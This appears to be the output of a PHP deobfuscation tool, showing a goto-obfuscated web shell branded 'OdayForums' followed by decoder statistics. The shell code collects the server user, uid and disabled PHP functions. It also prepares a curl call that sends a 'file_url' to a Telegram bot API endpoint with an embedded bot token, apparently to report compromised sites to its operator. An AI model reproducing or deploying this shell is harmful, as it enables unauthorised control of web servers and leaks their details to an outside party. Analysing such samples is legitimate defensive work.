<table width="900" border="0" cellpadding="2" cellspacing="1" align="center"> 
<tr><td> 
<center> 
<title="T3RS4K1T1" alt="OdayForums" class="center" /> 
</marquee> 
            <hr> 
        </font> 
        <audio src="https://kosred.com/a/etapcc.mp3" autoplay="true" id="song" loop=""></audio> 
<br><br><br> 
<?php  goto cX7Yp; nN9qm: echo "</td></tr><tr><td><br>"; goto CmF2n; p5kIa: $result = curl_exec($ch); goto OpmPd; uyQ0u: echo "<center>"; goto nN9qm; F0GaA: $disfunc = @ini_get("disable_functions"); goto OugU6; JhtJj: set_time_limit(0); goto mIGjC; T1yka: echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>"; goto AChhn; OpmPd: curl_close($ch); goto cp_iU; kooI0: echo "Disable Function : " . $disf . "</font><br>"; goto FqGgH; WavbZ: $data = array("file_url" => $cur); goto EuwHG; rJdml: $apiUrl = "https://api.telegram.org/bot6790178447:AAEwVZSI3R2QzYwLXDwcwUlTqDm164h6ut4/sendMessage"; goto swlYX; uUffg:  ?>

Function Calls

None

Variables

None

Stats

MD5 9cae77816acce06245435255b4f5eb62
Eval Count 0
Decode Time 89 ms